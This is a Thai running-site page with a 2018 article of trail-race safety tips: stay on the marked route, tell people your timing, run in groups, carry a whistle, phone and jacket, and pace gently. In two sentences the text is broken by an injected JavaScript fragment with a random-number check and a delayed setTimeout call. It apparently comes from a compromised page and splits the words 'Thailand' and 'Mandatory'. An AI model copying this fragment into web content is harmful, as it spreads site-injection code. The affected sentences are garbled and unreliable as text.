• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

ปลอดภัยไว้ก่อน KPTC Safety Trail Tips : วิ่งเทรลอย่างไรให้ปลอดภัย (ด้วยความปรารถนาดีจากเขาประทับช้างเทรล)

kan by kan
30 April 2018
in Running Tips, Tips & Technics
0
ทริค & ทิป สำหรับนักวิ่งTrailมือใหม่
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

Safe & Fair คือแนวคิดและหลักการปฏิบัติที่สำคัญที่สุดสำหรับผู้จัดงานวิ่ง ไม่ว่าจะมีการปรับเปลี่ยนเส้นทางและกฎกติกามากน้อยเพียงใด หรือจะต้องปฏิบัติตามเสียงเรียกร้องจากผู้สมัครที่มีจำนวนมาก ก็ยังมีสิ่งที่แตะต้องไม่ได้ นั้นคือ กฎความปลอดภัยและการแข่งขันที่เสมอภาคกันทุกคน

เพราะสำหรับการแข่งขันแบบ Road Running อย่างการวิ่งมินิ ฮาร์ฟและมาราธอน จะเป็นรูปแบบสนามที่ควบคุมได้ มีการยอมรับจาก IAAF ที่เป็นองค์กรระดับโลก แต่การวิ่งแข่งขันเทรล ถือว่าเป็นการแข่งขันที่มีความเสี่ยงและมีตัวแปรหลายปัจจัยที่ไม่สามารถควบคุมได้ 100% สนามแข่งขันต้องเป็นไปตามสภาพสถานที่ ไม่สามารถปรับเปลี่ยนความชัน ทางราบ หรือออฟชั่นทางวิ่งอื่นๆ ได้มากตามถนนในเมือง ดังนั้นนอกเหนือจากการดูแลของผู้จัดงานวิ่งแล้ว นักวิ่งก็ควรเตรียมตัวป้องกันตัวเองและลดความเสี่ยงที่จะเกิดขึ้นระหว่างแข่งขันด้วย

KPTC Safety Trail Tips วิ่งเทรลอย่างไรให้ปลอดภัย

กรุณาอยู่บนเส้นทาง

เส้นทางวิ่งคือสถานที่ที่ปลอดภัยที่สุดขณะวิ่งแข่งขัน การออกนอกเส้นทางที่ผู้จัดงานทำไว้ให้มีโอกาสเสียงหลงทางสูงมาก และอาจจะต้องเข้าสู่โหมดเมาคลีผจญภัยในป่าใหญ่ก็ได้ สัตว์ร้ายและสัตว์มีพิษ มักจะเจอเมื่อเราออกนอกเส้นทางเสมอ

พื้นฐานเบื้องต้นสำหรับนักวิ่งเทรล คือ ต้องศึกษาเส้นทางวิ่งแข่งขันให้ละเอียดถี่ถ้วนทุกครั้ง จุดพยาบาล จุดบริการน้ำและอาหารต้องดูให้ดี เพื่อใช้บริหารเสบียงและการเติมพลังงาน นอกจากนี้สำหรับใครที่มีนาฬิกา GPS ก็สามารถดาวโหลดแผนที่ลงนาฬิกาไว้เพื่อนำทางและกันหลงไปในตัว

ไปมาลาไหว้

ในยุคสมัย Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 4.0 จงใช้ Social Media ให้เป็นประโยชน์ เมื่อต้องวิ่งเทรลเข้าป่าหายไปเป็นวัน ให้ป่าวประกาศบอกเพื่อนๆ พ่อแม่พี่น้อยด้วยว่าไปทำอะไร เพราะยิ่งคุณวิ่งระยะทางไกลๆ คุณจะหายหน้าหายตาไปนานโขเลย ยิ่งนักวิ่ง Ultra ด้วยแล้วก็คงกินเวลากว่า 10 ชั่วโมง

วางแผนบอกคนที่คุณรักและรู้จักให้ดี วางแผนเวลาที่จะใช้วิ่ง จะเข้า-ออก จบกี่โมง เพราะหากนานผิดปกติ จะได้ไหวตัวทัน พร้อมส่งทีมกู้ภัยได้ทันทั่วที หรือจะพกพาโทรศัพท์มือถือไปก็ดี แต่ก็อย่าลืมแบตเตอรี่สำรองละ

กลยุทธ์วิ่งไปเป็นกลุ่ม

ถ้ายังเป็นมือใหม่ไม่คุ้ยชินสถานทีก็ลองตีเนียนวิ่งเกาะกลุ่มกันไปเรื่อยๆ จะปลอดภัยและไม่เสียฟอร์ม แต่การเกาะกลุ่มวิ่งก็ไม่ใช่ว่าจะปล่อยให้เขานำทางไปตลอดเลยนะ ช่วงหัวเลี้ยวทางแยกก็สังเกตดูให้ดีว่าไปถูกทิศหรือไม่ ไม่งั้นจะได้สกิลหลงกันทั้งกลุ่มถ้วนหน้า แถมยังเสียเวลาวิ่งย้อนกลับไปมาอีกต่างหาก

อุปกรณ์เสริม

นอกจากเสบียงน้ำและอาหารสำหรับเติมพลังงานกลับเข้าไปใหม่แล้ว อุปกรณ์ที่ควรพกติดตัวไปด้วยก็เช่น อุปกรณ์ปฐมพยาบาล นกหวีดสำหรับส่งเสียงของความช่วยเหลือ มือถือและแบตเตอรี่สำรอง แจ็คเกตกันลมกันฝนแบบเบาๆ เพื่อไว้เวลาที่ฝนตกและอากาศหนาวลง เป็นต้น แต่ปกติแล้วก็ปล่อยตัวนักวิ่งเทรล เจ้าหน้าที่จะตรวจอุปกรณ์บังคับทุกครั้ง (Mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatory Gears) ซึ่งในเอกสารบอกชุดอุปกรณ์บังคับ ก็อาจจะมีคำแนะนำเกี่ยวชุดอุปกรณ์แนะนำบางอย่างที่มีประโยชน์เหมาะกับสถานที่แข่งลงไปด้วย

ค่อยเป็นค่อยไป

หากเป็นเทรลแรก วิธีเอาตัวรอดง่ายๆ ก็คือเริ่มวิ่งช้าๆ เพื่อวอร์มอัพร่างกายและค่อยๆ ปรับระดับการวิ่งและ pace ของตัวเองให้อยู่ในระดับที่ง่ายที่สุด ไม่เร่งเร็วตามกลุ่มผู้นำหรือมวลนักวิ่งที่ประกบรอบตัวเรา หากสถานการณ์บังคับให้ต้องออกวิ่งเร็วๆ ไปพร้อมกับกลุ่มใหญ่ ก็ให้ค่อยๆ ฉีกตัวแยกออกมาแล้ววิ่งตาม pace ของเราที่สบายที่สุด

ในช่วงเวลาไต่และลงเขา พยายามดูไลน์ที่กลุ่มนักวิ่งข้างหน้าได้ทำไว้ สังเกตดูให้ดีว่าเขาขึ้นลงเส้นไหนกัน หรือมีเส้นทางที่เจ้าหน้าที่ได้ทำไว้แล้ว การบุกเบิกเส้นทางใหม่เองเสี่ยงต่อการบาดเจ็บโดนเศษหินและเสี้ยนไม้ทิ่มตำมาก

Tags: TrailTrail Running
ShareTweetShare
kan

kan

Related Posts

Running Tips

9 เคล็ดลับพิชิตเทรล สำหรับนักวิ่งมือใหม่

15 November 2018
KPTC Trial 2018 : 6 Basic Trail Tips, You Must Know..!!! 6 พื้นฐานเทรลที่นักวิ่งควรรู้
Running Tips

KPTC Trial 2018 : 6 Basic Trail Tips, You Must Know..!!! 6 พื้นฐานเทรลที่นักวิ่งควรรู้

30 April 2018
ทำไม.. “ถุงเท้าวิ่ง”จึงเเตกต่างจากถุงเท้าธรรมดาทั่วไป
Gadget Tips

เกิดมาคู่กัน…ทำไมนักวิ่งเทรลชอบใส่ COMPRESSION SOCK

25 April 2018
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.